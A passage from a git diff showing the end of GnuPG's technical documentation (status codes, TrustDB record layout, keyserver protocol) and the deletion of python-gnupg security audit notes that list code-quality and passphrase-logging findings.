card. Serialnumber may be given - to request a specific card. Used by gpg 1.4 w/o - scdaemon - - 2 :: Request removal of a card. Used by gpg 1.4 w/o scdaemon. - - 3 :: Card with serialnumber detected - - 4 :: No card available - - 5 :: No card reader available - - 6 :: No card support available - -*** SC_OP_FAILURE [<code>] - An operation on a smartcard definitely failed. Currently there is - no indication of the actual error code, but application should be - prepared to later accept more arguments. Defined values for - <code> are: - - - 0 :: unspecified error (identically to a missing CODE) - - 1 :: canceled - - 2 :: bad PIN - -*** SC_OP_SUCCESS - A smart card operaion succeeded. This status is only printed for - certain operation and is mostly useful to check whether a PIN - change really worked. - -** Miscellaneous status codes -*** NODATA <what> - No data has been found. Codes for WHAT are: - - - 1 :: No armored data. - - 2 :: Expected a packet but did not found one. - - 3 :: Invalid packet found, this may indicate a non OpenPGP - message. - - 4 :: Signature expected but not found - - You may see more than one of these status lines. - -*** UNEXPECTED <what> - Unexpected data has been encountered. Codes for WHAT are: - - 0 :: Not further specified - -*** TRUNCATED <maxno> - The output was truncated to MAXNO items. This status code is - issued for certain external requests. - -*** ERROR <error location> <error code> [<more>] - This is a generic error status message, it might be followed by - error location specific data. <error code> and <error_location> - should not contain spaces. The error code is a either a string - commencing with a letter or such a string prefixed with a - numerical error code and an underscore; e.g.: "151011327_EOF". - -*** SUCCESS [<location>] - Postive confirimation that an operation succeeded. <location> is - optional but if given should not contain spaces. Used only with a - few commands. - -*** BADARMOR - The ASCII armor is corrupted. No arguments yet. - -*** DELETE_PROBLEM <reason_code> - Deleting a key failed. Reason codes are: - - 1 :: No such key - - 2 :: Must delete secret key first - - 3 :: Ambigious specification - -*** PROGRESS <what> <char> <cur> <total> - Used by the primegen and Public key functions to indicate - progress. <char> is the character displayed with no --status-fd - enabled, with the linefeed replaced by an 'X'. <cur> is the - current amount done and <total> is amount to be done; a <total> of - 0 indicates that the total amount is not known. The condition - : TOTAL && CUR == TOTAL - may be used to detect the end of an operation. - - Well known values for WHAT are: - - - pk_dsa :: DSA key generation - - pk_elg :: Elgamal key generation - - primegen :: Prime generation - - need_entropy :: Waiting for new entropy in the RNG - - tick :: Generic tick without any special meaning - useful - for letting clients know that the server is still - working. - - starting_agent :: A gpg-agent was started because it is not - running as a daemon. - - learncard :: Send by the agent and gpgsm while learing - the data of a smartcard. - - card_busy :: A smartcard is still working - -*** BACKUP_KEY_CREATED <fingerprint> <fname> - A backup of a key identified by <fingerprint> has been writte to - the file <fname>; <fname> is percent-escaped. - -*** MOUNTPOINT <name> - <name> is a percent-plus escaped filename describing the - mountpoint for the current operation (e.g. used by "g13 --mount"). - This may either be the specified mountpoint or one randomly - choosen by g13. - -*** PINENTRY_LAUNCHED <pid> - This status line is emitted by gpg to notify a client that a - Pinentry has been launched. <pid> is the PID of the Pinentry. It - may be used to display a hint to the user but can't be used to - synchronize with Pinentry. Note that there is also an Assuan - inquiry line with the same name used internally or, if enabled, - send to the client instead of this status line. Such an inquiry - may be used to sync with Pinentry - -** Obsolete status codes -*** SIGEXPIRED - Removed on 2011-02-04. This is deprecated in favor of KEYEXPIRED. -*** RSA_OR_IDEA - Obsolete. This status message used to be emitted for requests to - use the IDEA or RSA algorithms. It has been dropped from GnuPG - 2.1 after the respective patents expired. -*** SHM_INFO, SHM_GET, SHM_GET_BOOL, SHM_GET_HIDDEN - These were used for the ancient shared memory based co-processing. -*** BEGIN_STREAM, END_STREAM - Used to issued by the experimental pipemode. - - -* Format of the --attribute-fd output - - When --attribute-fd is set, during key listings (--list-keys, - --list-secret-keys) GnuPG dumps each attribute packet to the file - descriptor specified. --attribute-fd is intended for use with - --status-fd as part of the required information is carried on the - ATTRIBUTE status tag (see above). - - The contents of the attribute data is specified by RFC 4880. For - convenience, here is the Photo ID format, as it is currently the - only attribute defined: - - - Byte 0-1 :: The length of the image header. Due to a historical - accident (i.e. oops!) back in the NAI PGP days, this - is a little-endian number. Currently 16 (0x10 0x00). - - - Byte 2 :: The image header version. Currently 0x01. - - - Byte 3 :: Encoding format. 0x01 == JPEG. - - - Byte 4-15 :: Reserved, and currently unused. - - All other data after this header is raw image (JPEG) data. - - -* Unattended key generation - - Please see the GnuPG manual for a description. - - -* Layout of the TrustDB - - The TrustDB is built from fixed length records, where the first byte - describes the record type. All numeric values are stored in network - byte order. The length of each record is 40 bytes. The first record - of the DB is always of type 1 and this is the only record of this - type. - - FIXME: The layout changed, document it here. -#+begin_example - Record type 0: - -------------- - Unused record, can be reused for any purpose. - - Record type 1: - -------------- - Version information for this TrustDB. This is always the first - record of the DB and the only one with type 1. - 1 byte value 1 - 3 bytes 'gpg' magic value - 1 byte Version of the TrustDB (2) - 1 byte marginals needed - 1 byte completes needed - 1 byte max_cert_depth - The three items are used to check whether the cached - validity value from the dir record can be used. - 1 u32 locked flags [not used] - 1 u32 timestamp of trustdb creation - 1 u32 timestamp of last modification which may affect the validity - of keys in the trustdb. This value is checked against the - validity timestamp in the dir records. - 1 u32 timestamp of last validation [currently not used] - (Used to keep track of the time, when this TrustDB was checked - against the pubring) - 1 u32 record number of keyhashtable [currently not used] - 1 u32 first free record - 1 u32 record number of shadow directory hash table [currently not used] - It does not make sense to combine this table with the key table - because the keyid is not in every case a part of the fingerprint. - 1 u32 record number of the trusthashtbale - - - Record type 2: (directory record) - -------------- - Informations about a public key certificate. - These are static values which are never changed without user interaction. - - 1 byte value 2 - 1 byte reserved - 1 u32 LID . (This is simply the record number of this record.) - 1 u32 List of key-records (the first one is the primary key) - 1 u32 List of uid-records - 1 u32 cache record - 1 byte ownertrust - 1 byte dirflag - 1 byte maximum validity of all the user ids - 1 u32 time of last validity check. - 1 u32 Must check when this time has been reached. - (0 = no check required) - - - Record type 3: (key record) - -------------- - Informations about a primary public key. - (This is mainly used to lookup a trust record) - - 1 byte value 3 - 1 byte reserved - 1 u32 LID - 1 u32 next - next key record - 7 bytes reserved - 1 byte keyflags - 1 byte pubkey algorithm - 1 byte length of the fingerprint (in bytes) - 20 bytes fingerprint of the public key - (This is the value we use to identify a key) - - Record type 4: (uid record) - -------------- - Informations about a userid - We do not store the userid but the hash value of the userid because that - is sufficient. - - 1 byte value 4 - 1 byte reserved - 1 u32 LID points to the directory record. - 1 u32 next next userid - 1 u32 pointer to preference record - 1 u32 siglist list of valid signatures - 1 byte uidflags - 1 byte validity of the key calculated over this user id - 20 bytes ripemd160 hash of the username. - - - Record type 5: (pref record) - -------------- - This record type is not anymore used. - - 1 byte value 5 - 1 byte reserved - 1 u32 LID; points to the directory record (and not to the uid record!). - (or 0 for standard preference record) - 1 u32 next - 30 byte preference data - - Record type 6 (sigrec) - ------------- - Used to keep track of key signatures. Self-signatures are not - stored. If a public key is not in the DB, the signature points to - a shadow dir record, which in turn has a list of records which - might be interested in this key (and the signature record here - is one). - - 1 byte value 6 - 1 byte reserved - 1 u32 LID points back to the dir record - 1 u32 next next sigrec of this uid or 0 to indicate the - last sigrec. - 6 times - 1 u32 Local_id of signatures dir or shadow dir record - 1 byte Flag: Bit 0 = checked: Bit 1 is valid (we have a real - directory record for this) - 1 = valid is set (but may be revoked) - - - - Record type 8: (shadow directory record) - -------------- - This record is used to reserve a LID for a public key. We - need this to create the sig records of other keys, even if we - do not yet have the public key of the signature. - This record (the record number to be more precise) will be reused - as the dir record when we import the real public key. - - 1 byte value 8 - 1 byte reserved - 1 u32 LID (This is simply the record number of this record.) - 2 u32 keyid - 1 byte pubkey algorithm - 3 byte reserved - 1 u32 hintlist A list of records which have references to - this key. This is used for fast access to - signature records which are not yet checked. - Note, that this is only a hint and the actual records - may not anymore hold signature records for that key - but that the code cares about this. - 18 byte reserved - - - - Record Type 10 (hash table) - -------------- - Due to the fact that we use fingerprints to lookup keys, we can - implement quick access by some simple hash methods, and avoid - the overhead of gdbm. A property of fingerprints is that they can be - used directly as hash values. (They can be considered as strong - random numbers.) - What we use is a dynamic multilevel architecture, which combines - hashtables, record lists, and linked lists. - - This record is a hashtable of 256 entries; a special property - is that all these records are stored consecutively to make one - big table. The hash value is simple the 1st, 2nd, ... byte of - the fingerprint (depending on the indirection level). - - When used to hash shadow directory records, a different table is used - and indexed by the keyid. - - 1 byte value 10 - 1 byte reserved - n u32 recnum; n depends on the record length: - n = (reclen-2)/4 which yields 9 for the current record length - of 40 bytes. - - the total number of such record which makes up the table is: - m = (256+n-1) / n - which is 29 for a record length of 40. - - To look up a key we use the first byte of the fingerprint to get - the recnum from this hashtable and look up the addressed record: - - If this record is another hashtable, we use 2nd byte - to index this hash table and so on. - - if this record is a hashlist, we walk all entries - until we found one a matching one. - - if this record is a key record, we compare the - fingerprint and to decide whether it is the requested key; - - - Record type 11 (hash list) - -------------- - see hash table for an explanation. - This is also used for other purposes. - - 1 byte value 11 - 1 byte reserved - 1 u32 next next hash list record - n times n = (reclen-5)/5 - 1 u32 recnum - - For the current record length of 40, n is 7 - - - - Record type 254 (free record) - --------------- - All these records form a linked list of unused records. - 1 byte value 254 - 1 byte reserved (0) - 1 u32 next_free -#+end_example - - -* GNU extensions to the S2K algorithm - - S2K mode 101 is used to identify these extensions. - After the hash algorithm the 3 bytes "GNU" are used to make - clear that these are extensions for GNU, the next bytes gives the - GNU protection mode - 1000. Defined modes are: - - 1001 :: Do not store the secret part at all. - - 1002 :: A stub to access smartcards (not used in 1.2.x) - -* Keyserver helper message format - - The keyserver may be contacted by a Unix Domain socket or via TCP. - - The format of a request is: -#+begin_example - command-tag - "Content-length:" digits - CRLF -#+end_example - - Where command-tag is - -#+begin_example - NOOP - GET <user-name> - PUT - DELETE <user-name> -#+end_example - -The format of a response is: - -#+begin_example - "GNUPG/1.0" status-code status-text - "Content-length:" digits - CRLF -#+end_example -followed by <digits> bytes of data - -Status codes are: - - - 1xx :: Informational - Request received, continuing process - - - 2xx :: Success - The action was successfully received, understood, - and accepted - - - 4xx :: Client Error - The request contains bad syntax or cannot be - fulfilled - - - 5xx :: Server Error - The server failed to fulfill an apparently - valid request - - -* Object identifiers - - OIDs below the GnuPG arc: - -#+begin_example - 1.3.6.1.4.1.11591.2 GnuPG - 1.3.6.1.4.1.11591.2.1 notation - 1.3.6.1.4.1.11591.2.1.1 pkaAddress - 1.3.6.1.4.1.11591.2.2 X.509 extensions - 1.3.6.1.4.1.11591.2.2.1 standaloneCertificate - 1.3.6.1.4.1.11591.2.2.2 wellKnownPrivateKey - 1.3.6.1.4.1.11591.2.12242973 invalid encoded OID -#+end_example - - - -* Miscellaneous notes - -** v3 fingerprints - For packet version 3 we calculate the keyids this way: - - RSA :: Low 64 bits of n - - ELGAMAL :: Build a v3 pubkey packet (with CTB 0x99) and - calculate a RMD160 hash value from it. This is used - as the fingerprint and the low 64 bits are the keyid. - -** Simplified revocation certificates - Revocation certificates consist only of the signature packet; - "--import" knows how to handle this. The rationale behind it is to - keep them small. - -** Documentation on HKP (the http keyserver protocol): - - A minimalistic HTTP server on port 11371 recognizes a GET for - /pks/lookup. The standard http URL encoded query parameters are - this (always key=value): - - - op=index (like pgp -kv), op=vindex (like pgp -kvv) and op=get (like - pgp -kxa) - - - search=<stringlist>. This is a list of words that must occur in the key. - The words are delimited with space, points, @ and so on. The delimiters - are not searched for and the order of the words doesn't matter (but see - next option). - - - exact=on. This switch tells the hkp server to only report exact matching - keys back. In this case the order and the "delimiters" are important. - - - fingerprint=on. Also reports the fingerprints when used with 'index' or - 'vindex' - - The keyserver also recognizes http-POSTs to /pks/add. Use this to upload - keys. - - - A better way to do this would be a request like: - - /pks/lookup/<gnupg_formatierte_user_id>?op=<operation> - - This can be implemented using Hurd's translator mechanism. - However, I think the whole key server stuff has to be re-thought; - I have some ideas and probably create a white paper. diff --git a/docs/NOTES-isec-audit.org b/docs/NOTES-isec-audit.org deleted file mode 100644 index f1d729d..0000000 --- a/docs/NOTES-isec-audit.org +++ /dev/null @@ -1,21 +0,0 @@ --*- mode: org; -*- - -* python-gnupg - -** what should be done by 1 May 2013: -- [ ] packaging for pypi -- [ ] unittests -- [ ] leap_mx and soledad should be using python-gnupg - -** what the isec folks might want to look at: -*** options - are there any ways to coerce python-gnupg in strange/buggy ways though its - allowed options, or, in general, though the API it presents? -*** daemons - if any of the daemons controlled by, or connected to, leap_mx or soledad - can be leveraged in any way to execute an a attack using python-gnupg. -*** keyID collision / couchDB key database poisoning - is there a way to trick python-gnupg into using an incorrect key? -*** identity leaks - is there a way to analyse the mailserver, leapmx, or soledad, to gain info - about which key is being used at a particular time? diff --git a/docs/NOTES-python-gnupg-3.1-audit.html b/docs/NOTES-python-gnupg-3.1-audit.html deleted file mode 100644 index fbd6e0d..0000000 --- a/docs/NOTES-python-gnupg-3.1-audit.html +++ /dev/null @@ -1,946 +0,0 @@ -<?xml version="1.0" encoding="iso-8859-1"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" - "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> -<head> -<title>python-gnupg audit</title> -<meta http-equiv="Content-Type" content="text/html;charset=iso-8859-1"/> -<meta name="title" content="python-gnupg audit"/> -<meta name="generator" content="Org-mode"/> -<meta name="generated" content="2013-02-01 Fri"/> -<meta name="author" content="isis"/> -<meta name="description" content=""/> -<meta name="keywords" content=""/> -<style type="text/css"> - <!--/*--><![CDATA[/*><!--*/ - html { font-family: Times, serif; font-size: 12pt; } - .title { text-align: center; } - .todo { color: red; } - .done { color: green; } - .tag { background-color: #add8e6; font-weight:normal } - .target { } - .timestamp { color: #bebebe; } - .timestamp-kwd { color: #5f9ea0; } - .right {margin-left:auto; margin-right:0px; text-align:right;} - .left {margin-left:0px; margin-right:auto; text-align:left;} - .center {margin-left:auto; margin-right:auto; text-align:center;} - p.verse { margin-left: 3% } - pre { - border: 1pt solid #AEBDCC; - background-color: #F3F5F7; - padding: 5pt; - font-family: courier, monospace; - font-size: 90%; - overflow:auto; - } - table { border-collapse: collapse; } - td, th { vertical-align: top; } - th.right { text-align:center; } - th.left { text-align:center; } - th.center { text-align:center; } - td.right { text-align:right; } - td.left { text-align:left; } - td.center { text-align:center; } - dt { font-weight: bold; } - div.figure { padding: 0.5em; } - div.figure p { text-align: center; } - div.inlinetask { - padding:10px; - border:2px solid gray; - margin:10px; - background: #ffffcc; - } - textarea { overflow-x: auto; } - .linenr { font-size:smaller } - .code-highlighted {background-color:#ffff00;} - .org-info-js_info-navigation { border-style:none; } - #org-info-js_console-label { font-size:10px; font-weight:bold; - white-space:nowrap; } - .org-info-js_search-highlight {background-color:#ffff00; color:#000000; - font-weight:bold; } - /*]]>*/--> -</style> -<script type="text/javascript"> -/* -@licstart The following is the entire license notice for the -JavaScript code in this tag. - -Copyright (C) 2012 Free Software Foundation, Inc. - -The JavaScript code in this tag is free software: you can -redistribute it and/or modify it under the terms of the GNU -General Public License (GNU GPL) as published by the Free Software -Foundation, either version 3 of the License, or (at your option) -any later version. The code is distributed WITHOUT ANY WARRANTY; -without even the implied warranty of MERCHANTABILITY or FITNESS -FOR A PARTICULAR PURPOSE. See the GNU GPL for more details. - -As additional permission under GNU GPL version 3 section 7, you -may distribute non-source (e.g., minimized or compacted) forms of -that code without the copy of the GNU GPL normally required by -section 4, provided you include this license notice and a URL -through which recipients can access the Corresponding Source. - - -@licend The above is the entire license notice -for the JavaScript code in this tag. -*/ -<!--/*--><![CDATA[/*><!--*/ - function CodeHighlightOn(elem, id) - { - var target = document.getElementById(id); - if(null != target) { - elem.cacheClassElem = elem.className; - elem.cacheClassTarget = target.className; - target.className = "code-highlighted"; - elem.className = "code-highlighted"; - } - } - function CodeHighlightOff(elem, id) - { - var target = document.getElementById(id); - if(elem.cacheClassElem) - elem.className = elem.cacheClassElem; - if(elem.cacheClassTarget) - target.className = elem.cacheClassTarget; - } -/*]]>*///--> -</script> - -</head> -<body> - -<div id="preamble"> - -</div> - -<div id="content"> -<h1 class="title">python-gnupg audit</h1> - -<p> <span class="timestamp-wrapper"> <span class="timestamp">2013-02-01 Fri</span></span><br/> -</p> - -<div id="table-of-contents"> -<h2>Table of Contents</h2> -<div id="text-table-of-contents"> -<ul> -<li><a href="#sec-1">1 gnugp._<sub>main</sub>_<sub>()</sub></a> -<ul> -<li><a href="#sec-1-1">1.1 comments</a></li> -<li><a href="#sec-1-2">1.2 def <sub>copy</sub><sub>data</sub>(instream, outstream)</a> -<ul> -<li><a href="#sec-1-2-1">1.2.1 L79:</a></li> -<li><a href="#sec-1-2-2">1.2.2 L78:</a></li> -<li><a href="#sec-1-2-3">1.2.3 L88:</a></li> -</ul> -</li> -<li><a href="#sec-1-3">1.3 def <sub>threaded</sub><sub>copy</sub><sub>data</sub>(instream, outstream):</a> -<ul> -<li><a href="#sec-1-3-1">1.3.1 L99:</a></li> -</ul> -</li> -<li><a href="#sec-1-4">1.4 def <sub>write</sub><sub>passphrase</sub>(stream, passphrase, encoding):</a> -<ul> -<li><a href="#sec-1-4-1">1.4.1 L110:</a></li> -</ul></li> -</ul> -</li> -<li><a href="#sec-2">2 class Verify(object)</a></li> -<li><a href="#sec-3">3 class ImportResult(object)</a></li> -<li><a href="#sec-4">4 class ListKeys(list):</a></li> -<li><a href="#sec-5">5 class Crypt(Verify):</a> -<ul> -<li><a href="#sec-5-1">5.1 def _<sub>init</sub>_<sub>(self, gpg)</sub></a> -<ul> -<li><a href="#sec-5-1-1">5.1.1 L338</a></li> -</ul></li> -</ul> -</li> -<li><a href="#sec-6">6 class GenKey(object)</a></li> -<li><a href="#sec-7">7 class DeleteResult(object)</a></li> -<li><a href="#sec-8">8 class Sign(object)</a></li> -<li><a href="#sec-9">9 class GPG(object)</a> -<ul> -<li> -<ul> -<li><a href="#sec-9-1">9.1 L474:</a></li> -</ul> -</li> -<li><a href="#sec-9-1">9.1 def _<sub>init</sub>_<sub>(self, gpgbinary='gpg', gnupghome=None, verbose=False, use<sub>agent</sub>=False, keyring=None)</sub></a> -<ul> -<li><a href="#sec-9-1-1">9.1.1 L494-495:</a></li> -</ul> -</li> -<li><a href="#sec-9-2">9.2 def <sub>open</sub><sub>subprocess</sub>(self, args, passphrase=False)</a> -<ul> -<li><a href="#sec-9-2-1">9.2.1 L515:</a></li> -</ul> -</li> -<li><a href="#sec-9-3">9.3 def <sub>collect</sub><sub>output</sub>(self, process, result, writer=None, stdin=None)</a></li> -<li><a href="#sec-9-4">9.4 def <sub>handle</sub><sub>io</sub>(self, args, file, result, passphrase=None, binary=False)</a> -<ul> -<li><a href="#sec-9-4-1">9.4.1 L601:</a></li> -</ul> -</li> -<li><a href="#sec-9-5">9.5 def sign(self, message, **kwargs)</a> -<ul> -<li><a href="#sec-9-5-1">9.5.1 L617-619:</a></li> -</ul> -</li> -<li><a href="#sec-9-6">9.6 def sign<sub>file</sub>(self, file, keyid=None, passphrase=None, clearsign=True, detach=False, binary=False)</a> -<ul> -<li><a href="#sec-9-6-1">9.6.1 L632-635:</a></li> -<li><a href="#sec-9-6-2">9.6.2 L626-641:</a></li> -</ul> -</li> -<li><a href="#sec-9-7">9.7 def verify(self, data):</a> -<ul> -<li><a href="#sec-9-7-1">9.7.1 L668-670:</a></li> -</ul> -</li> -<li><a href="#sec-9-8">9.8 def verify<sub>file</sub>(self, file, data<sub>filename</sub>=None)</a> -<ul> -<li><a href="#sec-9-8-1">9.8.1 L683:</a></li> -<li><a href="#sec-9-8-2">9.8.2 L684:</a></li> -<li><a href="#sec-9-8-3">9.8.3 L690:</a></li> -</ul> -</li> -<li><a href="#sec-9-9">9.9 def import<sub>keys</sub>(self, key<sub>data</sub>)</a> -<ul> -<li><a href="#sec-9-9-1">9.9.1 L749:</a></li> -</ul> -</li> -<li><a href="#sec-9-10">9.10 def recieve<sub>keys</sub>(self, keyserver, *keyids)</a> -<ul> -<li><a href="#sec-9-10-1">9.10.1 L770:</a></li> -</ul> -</li> -<li><a href="#sec-9-11">9.11 def export<sub>keys</sub>(self, keyids, secret=False)</a> -<ul> -<li><a href="#sec-9-11-1">9.11.1 L795-796:</a></li> -</ul> -</li> -<li><a href="#sec-9-12">9.12 def list<sub>keys</sub>(self, secret=False)</a> -<ul> -<li><a href="#sec-9-12-1">9.12.1 L827:</a></li> -</ul> -</li> -<li><a href="#sec-9-13">9.13 def gen<sub>key</sub>(self, input)</a> -<ul> -<li><a href="#sec-9-13-1">9.13.1 L864:</a></li> -</ul> -</li> -<li><a href="#sec-9-14">9.14 def gen<sub>key</sub><sub>input</sub>(self, **kwargs)</a> -<ul> -<li><a href="#sec-9-14-1">9.14.1 L981-983:</a></li> -</ul> -</li> -<li><a href="#sec-9-15">9.15 def encrypt<sub>file</sub>(self, file, recipiencts, sign=None, …)</a> -<ul> -<li><a href="#sec-9-15-1">9.15.1 L939:</a></li> -</ul> -</li> -<li><a href="#sec-9-16">9.16 def encrypt(self, data, recipients, **kwargs):</a> -<ul> -<li><a href="#sec-9-16-1">9.16.1 L997:</a></li> -</ul> -</li> -<li><a href="#sec-9-17">9.17 def decrypt(self, message **kwargs):</a> -<ul> -<li><a href="#sec-9-17-1">9.17.1 L1003:</a></li> -</ul> -</li> -<li><a href="#sec-9-18">9.18 def decrypt<sub>file</sub>(self, file, always<sub>trust</sub>=False, passphrase=None, output=None)</a> -<ul> -<li><a href="#sec-9-18-1">9.18.1 L1013:</a></li> -</ul></li> -</ul> -</li> -<li><a href="#sec-10">10 POC</a></li> -</ul> -</div> -</div> - -<div id="outline-container-1" class="outline-2"> -<h2 id="sec-1"><span class="section-number-2">1</span> gnugp._<sub>main</sub>_<sub>()</sub></h2> -<div class="outline-text-2" id="text-1"> - - -</div> - -<div id="outline-container-1-1" class="outline-3"> -<h3 id="sec-1-1"><span class="section-number-3">1.1</span> comments</h3> -<div class="outline-text-3" id="text-1-1"> - -<p>L58 NullHandler?? see self.<sub>write</sub><sub>passphrase</sub> -L61 there nifty check for p3k -</p></div> - -</div> - -<div id="outline-container-1-2" class="outline-3"> -<h3 id="sec-1-2"><span class="section-number-3">1.2</span> def <sub>copy</sub><sub>data</sub>(instream, outstream) <span class="tag"><span class="cleanup">cleanup</span></span></h3> -<div class="outline-text-3" id="text-1-2"> - -<p> copies data from one stream to another, 1024 bytes at a time. -</p> -</div> - -<div id="outline-container-1-2-1" class="outline-4"> -<h4 id="sec-1-2-1"><span class="section-number-4">1.2.1</span> L79: <span class="tag"><span class="bad_logic">bad_logic</span></span></h4> -<div class="outline-text-4" id="text-1-2-1"> - -<p> instream is apparently a file descriptor, but is not checked nor - encased in a try/except block. -</p> -</div> - -</div> - -<div id="outline-container-1-2-2" class="outline-4"> -<h4 id="sec-1-2-2"><span class="section-number-4">1.2.2</span> L78: <span class="tag"><span class="hanging_fd">hanging_fd</span> <span class="bad_logic">bad_logic</span></span></h4> -<div class="outline-text-4" id="text-1-2-2"> - -<p> while True: loop, should be -</p><pre class="example"> -with open(instream) as instrm: -</pre> - -</div> - -</div> - -<div id="outline-container-1-2-3" class="outline-4"> -<h4 id="sec-1-2-3"><span class="section-number-4">1.2.3</span> L88: <span class="tag"><span class="bad_exception_handling">bad_exception_handling</span></span></h4> -<div class="outline-text-4" id="text-1-2-3"> - -<pre class="example"> -except: -</pre> - -<p> should catch an IOError, or whatever specific error is raised for broken - pipes. -</p></div> -</div> - -</div> - -<div id="outline-container-1-3" class="outline-3"> -<h3 id="sec-1-3"><span class="section-number-3">1.3</span> def <sub>threaded</sub><sub>copy</sub><sub>data</sub>(instream, outstream):</h3> -<div class="outline-text-3" id="text-1-3"> - - -</div> - -<div id="outline-container-1-3-1" class="outline-4"> -<h4 id="sec-1-3-1"><span class="section-number-4">1.3.1</span> L99:</h4> -<div class="outline-text-4" id="text-1-3-1"> - -<p> this just wraps self.<sub>copy</sub><sub>data</sub> in a thread -</p></div> -</div> - -</div> - -<div id="outline-container-1-4" class="outline-3"> -<h3 id="sec-1-4"><span class="section-number-3">1.4</span> def <sub>write</sub><sub>passphrase</sub>(stream, passphrase, encoding): <span class="tag"><span class="vuln">vuln</span> <span class="cleanup">cleanup</span></span></h3> -<div class="outline-text-3" id="text-1-4"> - - -</div> - -<div id="outline-container-1-4-1" class="outline-4"> -<h4 id="sec-1-4-1"><span class="section-number-4">1.4.1</span> L110: <span class="tag"><span class="writes_passphrase_to_disk">writes_passphrase_to_disk</span></span></h4> -<div class="outline-text-4" id="text-1-4-1"> - -<p> logger writes passphrase into debug log. this should be patched. -</p></div> -</div> -</div> - -</div> - -<div id="outline-container-2" class="outline-2"> -<h2 id="sec-2"><span class="section-number-2">2</span> class Verify(object)</h2> -<div class="outline-text-2" id="text-2"> - -<p> basic parsing class, no errors found -</p></div> - -</div> - -<div id="outline-container-3" class="outline-2"> -<h2 id="sec-3"><span class="section-number-2">3</span> class ImportResult(object)</h2> -<div class="outline-text-2" id="text-3"> - -<p> basic parsing class, no errors found -</p></div> - -</div> - -<div id="outline-container-4" class="outline-2"> -<h2 id="sec-4"><span class="section-number-2">4</span> class ListKeys(list):</h2> -<div class="outline-text-2" id="text-4"> - -<p> basic parsing class, no errors found -</p></div> - -</div> - -<div id="outline-container-5" class="outline-2"> -<h2 id="sec-5"><span class="section-number-2">5</span> class Crypt(Verify):</h2> -<div class="outline-text-2" id="text-5"> - -<p> basic parsing class, no errors found -</p> -</div> - -<div id="outline-container-5-1" class="outline-3"> -<h3 id="sec-5-1"><span class="section-number-3">5.1</span> def _<sub>init</sub>_<sub>(self, gpg)</sub> <span class="tag"><span class="cleanup">cleanup</span></span></h3> -<div class="outline-text-3" id="text-5-1"> - - -</div> - -<div id="outline-container-5-1-1" class="outline-4"> -<h4 id="sec-5-1-1"><span class="section-number-4">5.1.1</span> L338 <span class="tag"><span class="mro_conflict">mro_conflict</span></span></h4> -<div class="outline-text-4" id="text-5-1-1"> - - - - - -<pre class="src src-python">Verify.__init__(<span style="color: #00cdcd; font-weight: bold;">self</span>,gpg) -</pre> - - -<p> - should be changed to: -</p> - - - -<pre class="src src-python"><span style="color: #0000ee; font-weight: bold;">super</span>(Verify, <span style="color: #00cdcd; font-weight: bold;">self</span>).__init__(gpg) -</pre> - -</div> -</div> -</div> - -</div> - -<div id="outline-container-6" class="outline-2"> -<h2 id="sec-6"><span class="section-number-2">6</span> class GenKey(object)</h2> -<div class="outline-text-2" id="text-6"> - -<p> basic parsing class, no errors found -</p></div> - -</div> - -<div id="outline-container-7" class="outline-2"> -<h2 id="sec-7"><span class="section-number-2">7</span> class DeleteResult(object)</h2> -<div class="outline-text-2" id="text-7"> - -<p> basic parsing class, no errors found -</p></div> - -</div> - -<div id="outline-container-8" class="outline-2"> -<h2 id="sec-8"><span class="section-number-2">8</span> class Sign(object)</h2> -<div class="outline-text-2" id="text-8"> - -<p> basic parsing class, no errors found -</p></div> - -</div> - -<div id="outline-container-9" class="outline-2"> -<h2 id="sec-9"><span class="section-number-2">9</span> class GPG(object) <span class="tag"><span class="exploitable">exploitable</span></span></h2> -<div class="outline-text-2" id="text-9"> - - -</div> - -<div id="outline-container-9-1" class="outline-4"> -<h4 id="sec-9-1"><span class="section-number-4">9.1</span> L474: <span class="tag"><span class="cleanup">cleanup</span></span></h4> -<div class="outline-text-4" id="text-9-1"> - -<pre class="example"> -cls.__doc__ -</pre> - -<p> should go directly underneath class signature -</p></div> - -</div> - -<div id="outline-container-9-1" class="outline-3"> -<h3 id="sec-9-1"><span class="section-number-3">9.1</span> def _<sub>init</sub>_<sub>(self, gpgbinary='gpg', gnupghome=None, verbose=False, use<sub>agent</sub>=False, keyring=None)</sub> <span class="tag"><span class="bug">bug</span></span></h3> -<div class="outline-text-3" id="text-9-1"> - - -</div> - -<div id="outline-container-9-1-1" class="outline-4"> -<h4 id="sec-9-1-1"><span class="section-number-4">9.1.1</span> L494-495: <span class="tag"><span class="type_error">type_error</span></span></h4> -<div class="outline-text-4" id="text-9-1-1"> - - - - - -<pre class="src src-python"><span style="color: #00cdcd; font-weight: bold;">if</span> gnupghome <span style="color: #00cdcd; font-weight: bold;">and</span> <span style="color: #00cdcd; font-weight: bold;">not</span> os.path.isdir(<span style="color: #00cdcd; font-weight: bold;">self</span>.gnupghome): - os.makedirs(<span style="color: #00cdcd; font-weight: bold;">self</span>.gnupghome,0x1C0) -</pre> - - - -<pre class="example">In [20]: os.makedirs? -Type: function -String Form:<function makedirs at 0x7f8ddeb6cc08> -File: /usr/lib/python2.7/os.py -Definition: os.makedirs(name, mode=511) -Docstring: -makedirs(path [, mode=0777]) -Super-mkdir; create a leaf directory and all intermediate ones. -Works like mkdir, except that any intermediate path segment (not -just the rightmost) will be created if it does not exist. This is -recursive. - -setting mode=0x1c0 is equivalent to mode=hex(0700), which -may cause bugs on some systems, see -http://ubuntuforums.org/showthread.php?t=2044879 - -this could be do to the complete lack of input validation in -os.makedirs, and it's calling of the os.mkdir() built-in, which -may vary depending on the python compilation: -</pre> - - - -<pre class="src src-python">Source: -<span style="color: #00cdcd; font-weight: bold;">def</span> <span style="color: #0000ee; font-weight: bold;">makedirs</span>(name, mode=0777): - <span style="color: #00cd00;">"""makedirs(path [, mode=0777])</span> - -<span style="color: #00cd00;"> Super-mkdir; create a leaf directory and all intermediate ones.</span> -<span style="color: #00cd00;"> Works like mkdir, except that any intermediate path segment (not</span> -<span style="color: #00cd00;"> just the rightmost) will be created if it does not exist. This is</span> -<span style="color: #00cd00;"> recursive.</span> -<span style="color: #00cd00;"> """</span> - <span style="color: #cdcd00;">head</span>, <span style="color: #cdcd00;">tail</span> = path.split(name) - <span style="color: #00cdcd; font-weight: bold;">if</span> <span style="color: #00cdcd; font-weight: bold;">not</span> tail: - <span style="color: #cdcd00;">head</span>, <span style="color: #cdcd00;">tail</span> = path.split(head) - <span style="color: #00cdcd; font-weight: bold;">if</span> head <span style="color: #00cdcd; font-weight: 